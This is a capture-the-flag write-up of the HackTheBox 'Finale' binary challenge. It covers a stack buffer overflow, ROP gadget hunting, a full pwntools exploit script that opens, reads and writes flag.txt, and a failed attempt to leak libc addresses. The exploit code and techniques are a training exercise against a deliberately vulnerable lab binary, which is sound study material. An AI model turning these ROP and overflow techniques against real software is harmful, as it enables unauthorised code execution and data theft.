Hey all. Today we're going to discuss the retired Finale challenge on HackTheBox. The description on HackTheBox is as follows:
It's the end of the season and we all know that the Spooktober Spirit will grant a souvenir to everyone and make their wish come true! Wish you the best for the upcoming year!
In this write-up, we will learn about the stack, ROP chains, and prioritizing attack vectors.
Spoiler alert: if you can't find the libc version, it's not a bug.
- First looks
- Finding vulnerability primitives
- Developing the ROP chain
- Retrieving the flag
- Failed attempt
We are given an executable binary called
finale. Upon performing a dynamic analysis, we are prompted for a password which means that we'll need to do a static analysis in order to proceed.
finale gives us:
The fields mean:
- Arch: the CPU architecture and instruction set (x86, ARM, MIPS, ...)
- RELRO: Relocation Read-Only - secures the dynamic linking process
- Stack Canaries: protects against stack buffer overflow attacks
- NX: No eXecute - write-able memory cannot be executed
- PIE: Position Independable Executable - address randomization
For a more in-depth conclusion about checksec, please visit our previous blogpost about the Blacksmith challenge on Hack The Box. The logical conclusion is that we need to perform a stack-based buffer overflow (since Stack Canaries are disabled) leading to a Return-Oriented-Programming chain (since NX is enabled).
Finding vulnerability primitives
To start, a vulnerability primitive is a building block of an exploit. A primitive can be bundled with other primitives to achieve a higher impact.
In order to analyze the binary, I opened it up in Ghidra, made by the NSA. The
main() function prints 8 random bytes, asks us for a secret and calls
As we can see, the secret for the binary is
finale() gets called after the correct secret has been entered.
finale() after the secret has been entered. This function asks us for a wish for the next year.
We are given stack leak in the form of
char* buf. Furthermore, there is a stack buffer overflow: the buffer length is 64 and we are writing 0x1000 (4096) bytes. In Ghidra we can see that the offset to the return address from the base of
buf is 0x48 bytes.
Considering checksec said
No PIE (0x400000), we can use the Procedural Linking Table (PLT) section of the binary. This means we could open a potential
Developing the ROP chain
Considering the protections in the binary listed by checksec state that No eXecute is enabled, we need to use Return Oriented Programming (ROP) chains. We want to do the following in the payload:
fd = open("flag.txt", 0); n_read = read(3, buf, size); // 3 since fd == 3 can be expected write(1, buf, n_read);
We have access to:
- GOT and PLT (linked functions)
- Functions (built-in functions)
print(*ELF('challenge/finale').plt.keys()), we can see that the following functions are available in the PLT sections:
Now we have the right functions and have access to the stack (for "flag.txt"), we need to need a way to pass function arguments. The x64 calling convention states that function arguments should be passed (in order) via RDI, RSI, RDX, RCX, R8, R9. This means that we need to control the RDI, RSI, and RDX registers via pop instructions (called gadgets) in the ROP-chain in order to pass 3 arguments to
write(). We can search for such gadgets using ropr: a blazing fast multithreaded ROP Gadget finder. Below is my search regex filter for ropr:
$ ropr -R '^pop (rdi|rsi|rdx); ret;' challenge/finale 0x004012d6: pop rdi; ret; 0x004012d8: pop rsi; ret;
Sadly, ropr can't find any gadgets for the RDX register. Even after trying many more search queries (like EDX and DX), I couldn't find any results. This means that we need to find a workaround for a high-enough RDX value for
read(..., ..., size=RDX).
GNU Debugger (GDB)
In order to find out a way to get a high RDX value, I used GDB with the Pwndbg plug-in (please say
/pwn-dbg/ and not
/poʊndbæg/ as the repo proposes). To see the RDX value during runtime, we can use the GDB functions in pwntools:
As we can see, RDX is equal to 8 which means only 8 bytes of the flag get read and written to stdout. Since we need to read at least 32 bytes, we need to find a way of manipulating the RDX register. We could do this by:
open("flag.txt", 0)using the PLT section in the ELF (which only executes the function and immediately returns after)
- Manipulate RDX
0x4014e0so we read() with the manipulated RDX and write() to stdout all at once.
As said, I tried finding gadgets which sadly did not work. After manually analyzing the binary I happened to see the following gadget:
As we can see, the EDX register is set to 0x54. This means we will read and write 84 bytes of the flag, which means it's more than enough and that we have completed the final part of the ROP chain:
- open@PLT("flag.txt", 0)
- finale() // to set RDX to 0x54
- Set RDI to 3
- Set RSI to the buffer buf
Retrieving the flag
So, the grant scene of the script is:
#!/usr/bin/env python3 from pwn import ELF, remote, gdb, p64, u64 import time e = ELF('challenge/finale') is_remote = False if is_remote: p = remote("184.108.40.206", 31431) else: p = e.process() # 0x004012d6: pop rdi; ret; pop_rdi = p64(0x4012d6) # 0x004012d8: pop rsi; ret; pop_rsi = p64(0x4012d8) def leak_func(address): payload = b'A'*0x48 payload += pop_rdi + p64(address) + p64(e.plt.puts) + p64(e.sym.finale) p.sendafter(b"next year: ", payload) p.recvuntil(b"you!\n\n") # clear buffer return u64(p.recvuntil(b"\n")[:-1].ljust(8, b'\x00')) p.sendlineafter(b"secret phrase: ", b"s34s0nf1n4l3b00") p.recvuntil(b"good luck: [") # clear buffer for next address read leak = int(p.recvuntil(b"]")[:-1], 16) print("leak @", hex(leak)) file = b'flag.txt\0' rbp = leak - 0x5000 payload = file + b'A'*(0x40-len(file)) + p64(rbp) payload += pop_rdi + p64(leak) payload += pop_rsi + p64(0) payload += p64(e.plt.open) payload += p64(e.sym.finale) # set RDX p.sendafter(b"next year: ", payload) payload = file + b'A'*(0x40-len(file)) + p64(rbp) payload += pop_rdi + p64(3) payload += pop_rsi + p64(rbp-0x20) payload += p64(0x4014e0) # read() -> write() p.sendafter(b"next year: ", payload) while True: print(p.recv())
In my failed attempt I tried to get remote code execution using leaked libc offsets, but it turned out that the libc version on the server was custom and it was intended to prevent this solution. I had to find out by asking the creator of the challenge.
The way we leak libc addresses is by calling
puts() in the PLT section with the argument being a libc function linked in the GOT section. So, we need to call
puts(const char *string); with argument
string via the
RDI register in AMD64. To control the RDI register, we use a ROP chain that pops RDI:
$ ropr -R 'pop rdi; ret;' challenge/finale 0x004012d6: pop rdi; ret; ==> Found 1 gadgets in 0.004 seconds
Now we can pop a GOT function address into RDI and call
puts() to leak the function offset. Let's run the following script with the server as target to get their libc version:
The output is the following:
__libc_start_main @ 0x7ff2d7c29dc0 __gmon_start__ @ 0x0 stdout @ 0x7ff2d7e1a780 stdin @ 0x7ff2d7e19aa0 strncmp @ 0x0 puts @ 0x7ff2d7c80ed0 write @ 0x7ff2d7d14a20 printf @ 0x7ff2d7c60770 alarm @ 0x7ff2d7cea5b0 close @ 0x0 read @ 0x7ff2d7d14980 srand @ 0x7ff2d7c460a0 time @ 0x7ffdaafcfc60 fflush @ 0x7ff2d7c7f1b0 setvbuf @ 0x7ff2d7c81670 open @ 0x7ff2d7d14690 __isoc99_scanf @ 0x7ff2d7c62110 rand @ 0x7ff2d7c46760
When I enter those symbols and addresses into a libc-leak website like libc.rip, I cannot find a single libc version. That means that there's a custom libc version, which means we can't call
system() since we don't have the address.